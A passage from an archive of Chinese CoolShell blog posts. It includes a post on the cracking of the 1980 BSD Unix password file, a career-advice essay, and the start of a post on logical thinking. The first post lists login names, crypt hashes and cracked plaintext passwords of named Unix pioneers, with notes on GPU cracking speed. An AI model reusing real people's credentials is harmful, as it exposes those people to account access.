4天多，每秒钟的“配速”是930MH/s （每秒钟9亿3千万次hash运算）。然后，[Ken Thompson 也留言到 “恭喜”](https://inbox.vuxu.org/tuhs/CAG=a+rj8VcXjS-ftaj8P2_duLFSUpmNgB4-dYwnTsY_8g5WdEA@mail.gmail.com/) ，这样，Ken 的密码在40年后被破解了……\n\n\n马上，就有人问到，这个密码是不是国际象棋的走棋？嗯，很像中国象棋中的“车五进一”，“马三退一”，这个密码中的 `p` 代表 `pawn` 小兵，从 `q2` 的位置走到 `q4`，这个看来是国际象棋中的开局进兵——用来做登录密码，非常合适。而且，Ken Thompson 在 Unix中写下的一个国际象棋的程序 [Belle](https://en.wikipedia.org/wiki/Belle_(chess_machine))，在1978年首次参加[计算机协会的北美计算机国际象棋锦标赛](https://en.wikipedia.org/wiki/North_American_Computer_Chess_Championship)时，它获得了第一个冠军头衔，其搜索深度为八层。之后又赢得了四次冠军。1983年，它也成为第一台获得国际象棋“大师”称号的计算机。所以，Ken用这个做密码相当make sense!\n\n\n![](../wp-content/uploads/2019/11/ken.chess_.jpg)Ken在贝尔实验室调程序（图片来源：[IEEE SPECTRUM](https://spectrum.ieee.org/tech-history/silicon-revolution/in-1983-this-bell-labs-computer-was-the-first-machine-to-become-a-chess-master)）\n\n\n当然，还有一个人的密码是所有人里最难破解的，这个人就是[Bill Joy](https://en.wikipedia.org/wiki/Bill_Joy)，他最初作为加州大学伯克利分校的研究生，在校期间着手改进Unix 内核，并管理BSD发行版。他最著名的贡献是ex和vi编辑器以及C shell。在Sun公司成立6个月后，他正式成为公司的联合创始人，他在Sun公司的推动了NFS，SPARC处理器，以及Java语言。他还是一个风险投资人员。\n\n\n在Ken的密被破解后两周（2019年10月19日），有人号称已经破解了Bill的密码，他在[邮件组中这样写到](https://minnie.tuhs.org/pipermail/tuhs/2019-October/019124.html)：\n\n\n\n> 一开始，我使用了大小写字符和数字，8位长度来破解所有的组合，花了我6天的时间，失败了。然后，我开始尝试只用小写字母和控制字符，结果在40分钟内就破解了。但是因为Bill现健在，所以，只要bill同意他才公布这个密码。\n> \n> \n\n\n在密码里存控制字符？这脑洞，Ctrl+C么？破解者还说，他在一个有三个结点的DELL 的HPC集群上完成这个工作，每个结点包括两个 Tesla V100 nVidia GPU 的显卡，一共30720个CUDA核…… 关于这个显卡多少钱，你可以上网搜吧…… 相当于一块劳力士吧……（我估计这组机器平时是用来挖矿的……[狗头]）\n\n\n好了，我们来看一下这个 `/etc/passwd` 中的这些人的密码是什么样的，**但最主要的是向这些为人类做过巨大贡献的程序员科学家们致敬**！\n\n\n* **[Ken Thompson](https://en.wikipedia.org/wiki/Ken_Thompson)**  \n\n除了是Unix、B语言和Go语言作者之外，他还贡献过正则表达式，QED/ed编辑器，UTF-8编码定义，以及计算机国际象棋Belle……\n\n|  |  |  |\n| --- | --- | --- |\n| 登录名 | **哈希串** | **密码** |\n| `ken` | `ZghOT0eRm4U9s` | `p/q2-q4!` |\n* **[Dennis Ritchie](https://en.wikipedia.org/wiki/Dennis_Ritchie)**  \n\nUnix和C语言之父，与Ken于1983年获图灵奖，1990年美国国家海明奖章，于2011年去世。\n\n|  |  |  |\n| --- | --- | --- |\n| 登录名 | **哈希串** | **密码** |\n| `dmr` | `gfVwhuAMF0Trw` | `dmac` |\n* **[Brian W. Kernighan](https://en.wikipedia.org/wiki/Brian_Kernighan)**  \n\nAWK的作者，是AWK中的“K”，也是与Dennis写的K&C的C语言编程书中的“K”，他还编写了很多Unix的其它程序，如：`ditroff`，而且，设计了著名的[启发式算法](https://en.wikipedia.org/wiki/Heuristic)。\n\n|  |  |  |\n| --- | --- | --- |\n| 登录名 | **哈希串** | **密码** |\n| `bwk` | `ymVglQZjbWYDE` | `/.,/.,` |\n* **[Stephen R. Bourne](https://en.wikipedia.org/wiki/Stephen_R._Bourne)**  \n\nBourne shell（`sh`）的作者，Unix Shell作者，同时也是Unix调试器的作者。\n\n|  |  |  |\n| --- | --- | --- |\n| 登录名 | **哈希串** | **密码** |\n| `srb` | `c8UdIntIZCUIA` | `bourne` |\n* **[Eric Schmidt](https://en.wikipedia.org/wiki/Eric_Schmidt)**  \n\n你可能知道他是Google的CEO，苹果的董事，但是你可能不知道，他当年是是贝尔实施室的实习生，他对Unix的词法分析器 Lex 进行为了完全的重写。他的密码是中的wendy应该是他的妻子。\n\n|  |  |  |\n| --- | --- | --- |\n| 登录名 | **哈希串** | **密码** |\n| `schmidt` | `FH83PFo4z55cU` | `wendy!!!` |\n* **[Stuart Feldman](https://en.wikipedia.org/wiki/Stuart_Feldman)**  \n\n他除了是Unix系统小组的成员，他还是第一个Fortran 77 编译器的作者，也是 `make` 的作者。他还是楼上Shmidt慈善基金会的科学负责人，在Google/IBM Research任过职，也担任过ACM的主席。\n\n|  |  |  |\n| --- | --- | --- |\n| 登录名 | **哈希串** | **密码** |\n| `sif` | `IIVxQSvq1V9R2` | `axolotl` |\n* **[Mark Horton](https://en.wikipedia.org/wiki/Mary_Ann_Horton)**  \n\nUnix贡献者，包括vi和curses，后来变性为女性，新的名字叫Mary Ann Horton。原来的照片在[Unix Guru Universe](http://www.ugu.com/sui/ugu/show?I=info.Mark_R._Horton)\n\n|  |  |  |\n| --- | --- | --- |\n| 登录名 | **哈希串** | **密码** |\n| `mark` | `Pb1AmSpsVPG0Y` | `uio` |\n* **[Kirk McKusick](https://en.wikipedia.org/wiki/Marshall_Kirk_McKusick)**  \n\nBSD贡献者，主要负责文件系统UFS以及fsck命令，同时也是`gprof`的贡献者，公开的同性恋者。\n\n|  |  |  |\n| --- | --- | --- |\n| 登录名 | **哈希串** | **密码** |\n| `mckusick` | `AAZk9Aj5/Ue0E` | `foobar` |\n* **[Richard Fateman](https://en.wikipedia.org/wiki/Richard_Fateman)**  \n\n他在伯克利的VAX UNIX系统的开发工作中发挥了重要作用，以及开发了 [Franz Lisp](https://en.wikipedia.org/wiki/Franz_Lisp)。\n\n|  |  |  |\n| --- | --- | --- |\n| 登录名 | **哈希串** | **密码** |\n| `fateman` | `E9i8fWghn1p/I` | `apr1744` |\n* **Peter Kessler**  \n\n这位老兄能在网上查到的资料基本没有，可以查到他是 `gprof` 的贡献者，以及有名字的[gprof的一篇论文](https://web.eecs.umich.edu/~weimerw/2009-4610/reading/graham-gprof.pdf)\n\n|  |  |  |\n| --- | --- | --- |\n| 登录名 | **哈希串** | **密码** |\n| `peter` | `Nc3IkFJyW2u7E` | `...hello` |\n* **Kurt Shoens**  \n\nBSD电子邮件开发者。Unix早期版本中使用 `uux` 和 `sendmail` 来进行远程消息传递，1978年，Kurt为Unix编写了一个邮件用户代理 Berkeley Mail。相关的历史可以参看[这篇文章](http://heirloom.sourceforge.net/mailx_history.html)。\n\n|  |  |  |\n| --- | --- | --- |\n| 登录名 | **哈希串** | **密码** |\n| `kurt` | `olqH1vDqH38aw` | `sacristy` |\n* **[John Foderaro](https://franz.com/about/press_room/foderaro_2-2-2015.lhtml)**  \n\n他为Berkeley的Lisp语言编写原始的编译器，Lisp语言是一种类似于数据代数的语言，在计算机历史上有和C语言一样的作用。后来他成立了Franz公司，主要开发和部署图形搜索解决方案。\n\n|  |  |  |\n| --- | --- | --- |\n| 登录名 | **哈希串** | **密码** |\n| `jkf` | `9ULn5cWTc0b9E` | `sherril.` |\n* **[Peter J. Weinberger](https://en.wikipedia.org/wiki/Peter_J._Weinberger)**  \n\n他就是AWK中的那个“W”，同时也是Fortan编译器f77的贡献者，后来是[Renaissance Technologies](https://en.wikipedia.org/wiki/Renaissance_Technologies) （一家对冲基金）的CTO，现在在Google工作，\n\n|  |  |  |\n| --- | --- | --- |\n| 登录名 | **哈希串** | **密码** |\n| `pjw` | `N33.MCNcTh5Qw` | `uucpuucp` |\n* **John Reiser**  \n\n他主要工作是将Unix和C移植到了DEC VAX上，这个机器在学术界相当流行（陈皓注：我在1994年上大学的时候，就是在这个机器上学习的C语言）。这扩大了Unix和C的影响力。\n\n|  |  |  |\n| --- | --- | --- |\n| 登录名 | **哈希串** | **密码** |\n| `jfr` | `X.ZNnZrciWauE` | `5%ghj` |\n* **[Steve Johnson](https://en.wikipedia.org/wiki/Stephen_C._Johnson)**  \n\n曾在贝尔实验室和AT＆T工作近20年。他以Yacc，Lint，spell和Portable C编译器而闻名。后来他去了硅谷，加入了一些创业公司，主要从事编译器的工作，以及2D和3D图形，大规模并行系统和嵌入式系统的开发工作。现在他在Wave Computing从事机器学习的工作。\n\n|  |  |  |\n| --- | --- | --- |\n| 登录名 | **哈希串** | **密码** |\n| `scj` | `IL2bmGECQJgbk` | `pdq;dq` |\n* **Bob Kridle**  \n\n这位老兄的资料在没有太多，只能在 [Berkeley Unix 20 年](https://www.oreilly.com/openbook/opensources/book/kirkmck.html_original) 上看到他跟Ken Thompson混过一段时间。\n\n|  |  |  |\n| --- | --- | --- |\n| 登录名 | **哈希串** | **密码** |\n| `kridle` | `4BkcEieEtjWXI` | `jilland1` |\n* **[Keith Sklower](https://people.eecs.berkeley.edu/~sklower/)**  \n\nBSD 的一个程序员。从他的主页上可以看到他目前在Berkeley大学，信息分析师，主要研究一些网络通信相关的技术。\n\n|  |  |  |\n| --- | --- | --- |\n| 登录名 | **哈希串** | **密码** |\n| `sklower` | `8PYh/dUBQT9Ss` | `theik!!!` |\n* **Robert Henry**  \n\n网上的资料不多，只在[Life with Unix](https://www.tuhs.org/Archive/Documentation/Books/Life_with_Unix.pdf)这本电子书中查到，他写了 `error`\n\n|  |  |  |\n| --- | --- | --- |\n| 登录名 | **哈希串** | **密码** |\n| `henry` | `lj1vXnxTAPnDc` | `sn74193n` |\n* **Howard Katseff**  \n\n网上的资料不多，只在[Life with Unix](https://www.tuhs.org/Archive/Documentation/Books/Life_with_Unix.pdf)这本电子书中查到，他写了 `sdb` 和 `last`\n\n|  |  |  |\n| --- | --- | --- |\n| 登录名 | **哈希串** | **密码** |\n| `hpk` | `9ycwM8mmmcp4Q` | `graduat;` |\n* **[Özalp Babaoğlu](https://en.wikipedia.org/wiki/%C3%96zalp_Babao%C4%9Flu)**  \n\n土耳其计算机科学家，1981年在Berkeley担任 BSD Unix的首席设计师，曾经与Sun的创造人Bill Joy在BSD上实现了虚拟内存。\n\n|  |  |  |\n| --- | --- | --- |\n| 登录名 | **哈希串** | **密码** |\n| `ozalp` | `m5syt3.lB5LAE` | `12ucdort` |\n* **[Bob Fabry](https://en.wikipedia.org/wiki/Bob_Fabry)**  \n\n他主要推动美国国防部高级研究计划局DARPA采用了Unix系统\n\n|  |  |  |\n| --- | --- | --- |\n| 登录名 | **哈希串** | **密码** |\n| `fabry` | `d9B17PTU2RTlM` | `561cml..` |\n* **Tom London**  \n\n他和John Reiser在把Unix移植到了VAX-11机上。\n\n|  |  |  |\n| --- | --- | --- |\n| 登录名 | **哈希串** | **密码** |\n| `tbl` | `cBWEbG59spEmM` | `..pnn521` |\n\n\n最后，再首尾呼应一下，在我的技术生涯中，Unix文化对我个人的技术观影响是非常大的，**我个人认为 Unix 就像摇滚乐一样，上世纪60年代-80年代，是整个人类最经典最光亮的时代，值得我们每个人向那个时代的人和事致敬！**\n\n\n————————————————————————\n\n\nP.S.\n\n\n你可以浏览 Github 的 [unix-history-repo](https://github.com/dspinellis/unix-history-repo/tree/BSD-3-Snapshot-Development) 目录（注：本文给的这个链接不在master分支上），这个repo是40年前的代码，涵盖了从1970年创建时的2.5万行内核和26条命令到2017年为止广泛使用的2700万行系统。1.1GB的存储库包含大约一百万次提交和两千多次合并。通过[这个链接](http://www.dmst.aueb.gr/dds/pubs/jrnl/2016-EMPSE-unix-history/html/unix-history.html)你可以了解一下这个代码的历史！\n\n\n下载这些代码需要你的1.5GB的硬盘空间，你可以查看各个大神写的代码，包括 Ken Thompson 和 Dennis的，以及相关的注释。\n\n\n根据这些，你还可以找到 Ken Thompson的 Github账号 <https://github.com/ken> 以及别人为dmr建的github帐号 <https://github.com/dmr-1941-2011>\n\n\nP.S.S\n\n\n下面是一些和Unix相关的维基百科资料\n\n\n* [History of Unix](https://en.wikipedia.org/wiki/History_of_Unix)\n* [List of Unix systems](https://en.wikipedia.org/wiki/List_of_Unix_systems)\n* [List of Unix commands](https://en.wikipedia.org/wiki/List_of_Unix_commands)\n* [List of Unix daemons](https://en.wikipedia.org/wiki/List_of_Unix_daemons)\n* [Research Unix](https://en.wikipedia.org/wiki/Research_Unix)\n* [Berkeley Software Distribution](http://en.wikipedia.org/wiki/BSD_Unix)\n* [Unix philosophy](https://en.wikipedia.org/wiki/Unix_philosophy)\n\n\n还有Unix的社区：TUHS: The Unix Heritage Society – [The Unix Tree](http://minnie.tuhs.org/cgi-bin/utree.pl)\n\n\n（全文完）\n\n\n\n**（转载本站文章请注明作者和出处 [酷 壳 – CoolShell](https://coolshell.cn/) ，请勿用于任何商业用途）**\n\n\n\n### 相关文章\n\n* [![Unix传奇(上篇)](../wp-content/uploads/2010/04/o_unixrichiethompson-150x150.jpg)](https://coolshell.cn/articles/2322.html)[Unix传奇(上篇)](https://coolshell.cn/articles/2322.html)\n* [![Unix考古记：一个“遗失”的shell](../wp-content/uploads/2013/04/figure1-150x150.gif)](https://coolshell.cn/articles/9410.html)[Unix考古记：一个“遗失”的shell](https://coolshell.cn/articles/9410.html)\n* [![Go语言源码的一个改动](../wp-content/uploads/2009/11/spell_it_with_e-150x150.jpg)](https://coolshell.cn/articles/1761.html)[Go语言源码的一个改动](https://coolshell.cn/articles/1761.html)\n* [![程序员练级攻略（2018)  与我的专栏](../wp-content/uploads/2018/05/300x262-150x150.jpg)](https://coolshell.cn/articles/18360.html)[程序员练级攻略（2018) 与我的专栏](https://coolshell.cn/articles/18360.html)\n* [![Linux PID 1 和 Systemd](../wp-content/uploads/2017/07/systemd-1-150x150.jpeg)](https://coolshell.cn/articles/17998.html)[Linux PID 1 和 Systemd](https://coolshell.cn/articles/17998.html)\n* [![vfork 挂掉的一个问题](../wp-content/uploads/2014/11/tux-fork-150x150.gif)](https://coolshell.cn/articles/12103.html)[vfork 挂掉的一个问题](https://coolshell.cn/articles/12103.html)\nThe post [Unix 50 年：Ken Thompson 的密码](https://coolshell.cn/articles/19996.html) first appeared on [酷 壳 - CoolShell](https://coolshell.cn)."
  },
  {
    "path": "blogs/rss2html2markdown/2019-12-1 别让自己“墙”了自己.md",
    "content": "---\nlayout: post\ntitle: 别让自己“墙”了自己\ndate: 2019/12/1/ 3:10:21\nupdated: 2019/12/1/ 3:10:21\nstatus: publish\npublished: true\ntype: post\n---\n\n![](../wp-content/uploads/2019/12/open-your-creative-mind-300x198.jpg)这一两周与几个朋友聊天，有年轻的90后，也有大叔级的70后，这些人在我看来都是很有能力的人，但是一些喜好过于强烈，让我不经意地回顾了我工作20年来身边的人，有发展得好的，也有发展的不好的，有些人是很可惜的，因为限制他们的不是其它人，也不是环境，而是自己，所以，很想写下这篇文章。（注：这篇文章可能会是一篇说教的文章，所以，可能会让你看着犯困，所以，我会尽量地短一些，而且尽可能多讲故事，少道理，这里的故事，全是真实发生的）\n\n\n#### 几个故事\n\n\n2019年年初，我面试了一个很年轻的小伙子（93/94年出生），这个小伙子特别有灵性，也很聪明，计算机专业出身，也很喜欢技术，基础和学习能力也很好。在我这20年来认识的人中，如果他能呆在北京、上海、深圳这样的城市，我保证不出三年，他会成为他们同龄人中非常出色的技术人员，如果有个好的舞台有一个好的团队带他，他的未来会非常成功。然而，这个小伙子有两大喜好：1）只愿（或是说被迫）呆在一个毫无IT的环境的三/四线城市，2）对技术有非常大的偏好，只喜欢Go语言，非常不喜欢其它的语言，比如：Java（离开Java的世界，基本上离开了做架构的世界（**相关解释见文末**））。\n\n\n他的这两个喜好，足以让一个未来会很优秀的人毁掉，因为，这个时代没有限制他，他的能力也没有限制他，但是他的意识完完全全地限制了他。\n\n\n* 他把自己最宝贵的青春放在了很烂的项目上，就算能用一些新的技术，他也只能算是自娱自乐，在实验室中玩玩具罢了。\n* 他把自己的技术栈封闭起来，而直接放弃了这个时代最具工业化的技术Java，对于一个好的程序员来说，同时掌握几门语言和技术完全是没什么问题，但是自己封闭了自己的视野。\n\n\n实在是非常可惜，我本来是可以为他介绍到一些很不错的公司的，但是他这样的习性，等于自己把自己未来的门给关上了，虽然我跟他长谈过，但是我也没有办法叫醒不想醒的人……\n\n\n* 视野、环境和舞台，对一个人的限制是非常大的。井蛙不知道大海，被空间维度所限制；夏虫不知道冬天，是被时间维度所限制；圈养的动物没有斗志，是被自己意识所限制。\n* 偏见和不开放，对一个人的限制是真正有毁灭性的。主动让自己成为一个瞎子和聋子，主动把自己的能力阉割掉，这是一件令人痛心的事。想想大清的闭关锁国是如何让亚洲第一的北洋水师给毁掉的……\n\n\n我还有个同学，他的技术并不差，就算呆在昆明这种很落后的地方，他也非常地好学，学习英文，学习各种新技术，对技术没有任何的偏好，喜欢C/C++/Java/Python/Shell，同样喜欢前端Javascript，对基础知识非常地踏实，他在技术上没有限制自己的潜力，有什么就学什么。后来，我带他玩Docker/Go/K8S……分布式架构，他也上手的很快……像他这样的人，技术能力完全没得说，比我还大一岁，44岁了，还是一样的天天追代码细节，看Youtube的各种大会，翻github里的各种issue和pull request……\n\n\n我同学这人，拥有了成为一个技术牛人几乎所有的条件：基础知识过硬，细节扎得深，面很广，学习能力强，有英文能力，逻辑思维能力不错，非常的自律，执行力也很强，抓得住重点……然而，只有一个小问题，就是没有到大公司历练过，我三番五次叫他从昆明出来，但是最终他都呆在昆明这个城市没有出来，因为有所谓的家庭约束。然而，我身边还有好些人，把自己家从北京搬到上海，从上海搬到深圳，从厦门搬到深圳……这样的人大有人在……像他这样的能力，在哪个公司都会是主力和骨干，对于一个公司的主力和骨干来说，家庭上的这些问题都是小问题都是有很多解的……\n\n\n另外，我这个同学还是一个比较悲观的人，任何事情都是先想到不好的事，他关注负面的东西会胜于正面的东西，而且他还有一定的社交恐惧，怕与人相处和交流，时间越长越害怕，甚至有时候直接跟我说，“我就是不想改变”这样的话……其实，我以前也是一个很害怕与人交流的人，面试的时候，我根本不敢正眼看面试官一眼，也不知道与人怎么交流。但是，我与他不一样，我努力克服，不断地面试，与人面对面的交流，到一线技术客服接用户的电话，在公司里做分享，慢慢地到外面分享……3-5年就完全克服掉了。\n\n\n其实，很多事情，完全是有解的，也没有必要担心，自己的心理障碍也是可以克服的，重点就是自己愿不愿意，只要愿意完成了一半，接下来就是不断的摸爬滚打坚持了。\n\n\n* 不限制自己的人，会穷举各种方法来解决问题，限制自己的人，只会找各式各样的问题或借口。\n* 不限制自己的人，会努力改变自己的问题和缺陷，限制自己的人，会放任自己。\n\n\n#### 另外几个故事\n\n\n我还有另外几个故事（活到四十多，能看到好多人十几年的发展过程，感觉有点上帝视角了）\n\n\n我还有一个以前团队里的一个小伙，人是很聪明，但就完全就是野路子，他对技术没有什么偏好，一个PHP程序员，做那个Discuz!论坛，公司被并购了，转成Java，开始研究Java的各种细节，对技术从来没有什么偏见，有什么就玩什么，每做一个项目，就算是一样的他都要用新的技术做一遍，然后跟着我做云计算，我教他TCP，教他C/C++，后来一起玩Docker/Go，等等，反正是一点就通，他是我见过学习能力最强的人。但是，有一个事他一直与我的想法不一样，就是我希望他先把软件设计好，再写代码，他非常不能理解，他习惯于直接动手开干，然后有什么问题就整什么问题，我也很难教育他。\n\n\n有一天，他电话面了一下Facebook，电话面了15分钟后对方就放弃了，他受到了严重的打击。然后，他就开始找菲利宾人练英文口语了，我也让他做算法题，然后，他才发现，一道连算法都不是的纯编程题都提交几次都过不了，等他做完了Leetcode最初的那151道题后，整个人都改变了，写代码前认认真真地在纸上把程序的状态，处理时序以及可能遇到的一些条件先罗列出来，然后，进行逻辑设计后，再写，从此，他就开启他更大的天地了。我后来把他推荐给了微软，先在中国的Bing，在中国升好2-3级，然后去了美国的Azure，现在听说他准备要跟 k8s 的 co-founder [Brendan Burns](https://github.com/brendandburns) 混了（虽然，他现在还在印度人手下，但是，我真的不知道他未来能玩多大，因为今年他才33岁，而且非常聪明）\n\n\n他以前是把自己封闭起来的，我叫他出来，他也不出来，后来因为一些办公室政治的原因不得不来找我，于是我就带着他玩了两年，跟他讲了很多外面的世界是怎么玩的，他这个人也是一个相当不善于社交的人，但是心是开放的，愿意接受新的东西，虽然对技术也有一定偏见，比如不喜欢Windows，但是也不会不喜欢到完全封闭。后来我跟他说，微软的技术相当的强的，你看到的技术只是表面，深层次的东西都是相通的，直到他到了微软后发现各种牛逼的东西，对微软系统的技术的态度也有了改变，而且我让他跟我说很多微软那边的事，我发现，他对技术了解的维度已经是越来越高级的了……\n\n\n还是我以前团队的一个小伙，他是一个前端，他说前端的东西没什么意思，想来找我做后端，我也一点点带他……后来，我说，你如果想要玩得好，你必需来北京，无论现在你觉得过得有多好，你都要放弃掉，然后，尽最大可能出去经历一下世界最顶尖的公司，我甚至跟他说，如果他女朋友不跟来的话，就先分开一段时间，先自己立业，他来北京的时候，他之前的同事都等着看他的笑话，我说，那些人连想都不敢想，不必管他们。于是，他去了Amazon，再过了一年去了西雅图，我跟他说，接下来就是去AWS，然后，如果有足够的野心，用自己的年轻这个资本去硅谷创业公司赌一把……未来他怎么样我不知道，但至少他没有限制自己，他的未来不会有封顶……\n\n\n也是我的同学，我跟他在大学是上下铺，后来他去了人民大学读计算机博士，大学的时候做国产数据库kingbase，然后去了一家外企，天天被派到用户那边做数据分析，后来，他想回科研单位做国产数据库，我说，别啊，你的技术比我好太多，还有博士理论加持，你不去国外顶尖公司玩玩，你不知道自己有多强的，于是他跟公司申请去了国外做核心，后来因为Hadoop的原因，公司的产品最终成为了历史，于是我说，你来了美国么，你一定要去AWS，于是他就去了AWS的Aurora团队，成为了AWS明星级产品的中坚力量，天天在改MySQL的核心源码，干了两年，正在晋升 Principal Software Engineer ……\n\n\n这里我到不是说出国有多牛，也许你只关注能挣多少钱，但是我想说，他们之所以能有这样的际遇，除了他们本来就有实力，还更因为他们从来不给自己设制什么限制，就是那种“艺多不压身”，有什么就学什么，有更高的就去向更高的迈进，其它的像家庭什么的问题其实都是会有解的，真的不必担心太多……\n\n\n####  别限制了自己\n\n\n上面的这些故事，也许你能看得懂，也许你看得不一定能懂，这里，让我来做个总结吧\n\n\n* **做有价值的事**。这个世界对计算机人才的要求是供不应求的，所以，不要让自己为自己找各式各样的借口，让自己活在“玩玩具”、“搬砖”和“使蛮力加班”的境地。其实，我发现这世界上有能力的人并不少，但是有品味的人的确很少。**所谓的有价值，就是，别人愿付高价的，高技术门槛的，有创造力的，有颠覆性的**……\n* **扩大自己的眼界，开放自己的内心**。人要变得开放，千万不要做一个狭隘的民族主义者，做一个开放的人，把目光放在全人类这个维度，不断地把自己融入到世界上，而不是把自己封闭起来，这里，**你的英文语言能力对你能不能融入世界是起决定性的作用**。开放自己的心态，正视自己的缺点，你才可能往前迈进。**你的视野决定了你的知不知道要去哪，你的开放决定了你想不想去**。\n* **站在更高的维度**。面的维度会超过点的维点，空间的维度会超过面的维度，在更高维度上思考和学习，你会获得更多。**整天在焦虑那些低维度的事（比如自己的薪水、工作的地点、稳不稳定、有没有户口……），只会让你变得越来越平庸，只要你站在更高的维度（比如： 眼界有没有扩大、可能性是不是更多、竞争力是不是更强、能不能解决更大更难的问题、能创造多大的价值……），时间会让你明白那些低维度的东西全都不是事儿**。技术学习上也一样，站在学习编程语法特性的维度和站在学习编程范式、设计模式的维度是两种完全不一样的学习方式。\n* **精于计算得失**。很多人其实不是很懂计算。绝大多数人都是在算计自己会失去多少，而不会算会得到多少。而一般的人也总是在算短期内会失去什么，优秀则总是会算我投入后未来会有什么样的回报，前者在算计今天，目光短浅，而后者则是舍在今天，得在明天，计算的是未来。****精于计算得失的，就懂得什么是投资，不懂的只会投机。对于赚钱，你可以投机，但是对于自己最好还是投资。****\n* **勇于跳出传统的束缚**。有时候，跳出传统并不是一件很容易的事，因为大多数人都会对未知有恐惧的心理。比如：我看到很多人才都被大公司垄断了，其实，有能力的人都不需要加入大公司，有能力的人是少数，这些少数的人应该是所有的公司share着用的，这样一来，对于所有的人都是利益最大化的。这样的事现在也有，比如：律师、设计师……。但是，绝大多数有能力的技术人员是不敢走出这步。我在2015年到2016年实践过一年半，有过这些实践，做“鸡”的比“二奶”好多了，收入也好很多很多（不好意思开车了）……\n\n\n庄子说过几句话——\n\n\n\n> \n> 井蛙不可以语于海者，拘于虚也；//空间局限\n> \n> \n> 夏虫不可以语于冰者，笃于时也；//时间局限\n> \n> \n> 曲士不可以语于道者，束于教也。//认识局限\n> \n> \n> \n\n\n别自己墙了自己，人最可悲的就是自己限制自己，想都不敢想，共勉！\n\n\n————————————————————\n\n\n**注：这篇文章就是要劝大家更为开放，让自己有更多的可能性，能到更高的层次，做更有价值的事，成为更强更好的人……当然，如果你觉得你只想做一个平凡人，也和本文并不冲突……另外你也不要觉得这篇文章是让你要成为一个精英，但你一定要去摸高……这篇文章是告诉你一种面对人生的思考方式，在这种思考方式下，你会有更多的可能性，更大的场景……而不是直接把自己归到“平常人”，把自己“墙”了！**\n\n\n注：我以为用Java适合做架构这事应该是常识了，但是评论中有很多人非常反对这个事。那我解释一下吧：首先，小型的项目用什么语言都行，爱用什么用什么。但是，真正的企业级架构就不一样了，其中并不仅仅只是RESTful API或RPC，还有各种配套设施和控制系统，比如：应用网关，服务发现、配置中心、健康检查、服务监控、服务治理（熔断、限流、幂等、重试、隔离、事务补偿）、Tracing监控、SOA/ESB、CQRS、EDA……这些东西在非Java的技术栈体系内，很难看到全貌，**Java强大的生态环境，就是让你把注意力放到更高层次的架构和业务上来的**。（千万不要觉得，整几个服务RPC一下，加个缓存，加个队列，就能叫架构，那只是系统集成罢了）\n\n\n（全文完）\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n**（转载本站文章请注明作者和出处 [酷 壳 – CoolShell](https://coolshell.cn/) ，请勿用于任何商业用途）**\n\n\n\n### 相关文章\n\n* [![聊聊团队协同和协同工具](../wp-content/uploads/2022/10/communication-150x150.png)](https://coolshell.cn/articles/22298.html)[聊聊团队协同和协同工具](https://coolshell.cn/articles/22298.html)\n* [![“一把梭：REST API 全用 POST”](../wp-content/uploads/2022/02/http_method-150x150.png)](https://coolshell.cn/articles/22173.html)[“一把梭：REST API 全用 POST”](https://coolshell.cn/articles/22173.html)\n* [![谈谈公司对员工的监控](../wp-content/uploads/2022/02/monitoring-150x150.jpeg)](https://coolshell.cn/articles/22157.html)[谈谈公司对员工的监控](https://coolshell.cn/articles/22157.html)\n* [![如何做一个有质量的技术分享](../wp-content/uploads/2021/07/knowledge_sharing-300x169-1-150x150.jpeg)](https://coolshell.cn/articles/21589.html)[如何做一个有质量的技术分享](https://coolshell.cn/articles/21589.html)\n* [![程序员如何把控自己的职业](../wp-content/uploads/2020/08/programmer.01-e1596792460687-150x150.png)](https://coolshell.cn/articles/20977.html)[程序员如何把控自己的职业](https://coolshell.cn/articles/20977.html)\n* [![MegaEase的远程工作文化](../wp-content/uploads/2020/01/remote-150x150.jpg)](https://coolshell.cn/articles/20765.html)[MegaEase的远程工作文化](https://coolshell.cn/articles/20765.html)\nThe post [别让自己“墙”了自己](https://coolshell.cn/articles/20276.html) first appeared on [酷 壳 - CoolShell](https://coolshell.cn)."
  },
  {
    "path": "blogs/rss2html2markdown/2019-12-26 使用简单的逻辑方法进行独立思考.md",
    "content": "---\nlayout: post\ntitle: 使用简单的逻辑方法进行独立思考\ndate: 2019/12/26/ 14:46:53\nupdated: 2019/12/26/ 14:46:53\nstatus: publish\npublished: true\ntype: post\n---\n\n![](../wp-content/uploads/2019/12/logical-smart-intelligence-200x200.png)这是一个非常复杂的世界，这个世界上有很多各式各样的观点和思维方式，作为一个程序员的我，也会有程序员的思维方式，程序员的思维方式更接近数学的思维方式，数学的思维方式让可以很容易地理清楚这个混乱的世界，其实，并不需要太复杂的数学逻辑，只需要使用一些简单的数学方法，就可以大幅提升自己的认识能力，所以，在这里，记录一篇我自己的思维方式，一方面给大家做个参考，另一方面也供更高阶的人给我进行指正。算是“开源我的思维方式”，开放不仅仅是为了输出，更是为了看看有没有更好的方式。\n\n\n我的思维方式中，使用数学逻辑的方式进行思考，通常来说，我会使用五步思考的方式：\n\n\n**第一步：信息数据可考证**。如果一个观点或是一个见解的数据是错误的，那么就会造成后面的观点全是错的，所以，首要的是要进行数据的查证或考证。一般来说，如果一篇文章的作者足够严谨的话，他的需要给他的数据建立相关的引用或是可以考证的方法方式。如果一篇文章中出现的是，“有关专家表明”、“美国科学家证明”、“经济学家指出”，但是没有任出处，也没有点明这个专家或是科学家的名字，或是，也没有说明或引用让读者可以自己去验证的方法。那么，其引用的话或是数据是无法考证的，如果是无法考证的，那么，这篇文章的水份就非常大了。一般来说，当我读到一篇文章中的东西没有可考证的来源或是方法时，通常来说，我就不会再读了，因为这篇文章的价值已经不大了，如果我关心这篇文章中的东西，我会改为自己去查找的方式，虽然变“重”了，但是很安全。（所以，像Wikipedia这样的网站是我经常去获得信息的地方，因为信息可以被考证是其基本价值观）\n\n\n\n**第二步：处理集合和其包含关系**。这是一个非常简单的人人都会的数学逻辑。比如：哲学家是人，柏拉图是哲学家，所以，柏拉图是人。就是一个在包含关系下的推理。你不要小看这个简单的逻辑，其实很多人并不会很好的应用，相反，当感情支配了他们以后，他们会以点代面，以特例代替普遍性。比如，地图炮就是一种，他们看到了多个案例，他们就开始把这个案例上升上更大的范围，比如：河南人新疆人都是小偷，上海人都是小市民。日本人都是变态和反人类……等等。除了这些地图炮外，还有否定整个人的，比如一个人犯了个错或是性格上有缺陷，就会把整个人全盘否定掉，员工抢个月饼就上升到其价值观有问题……。在数学的逻辑包含中，超集的定义可以适用于子集，通过子集的特征可以对超集进行探索，但是没法定义超集。另外，集合的大小也是一个很重要的事，[幸存者偏差](https://zh.wikipedia.org/wiki/%E5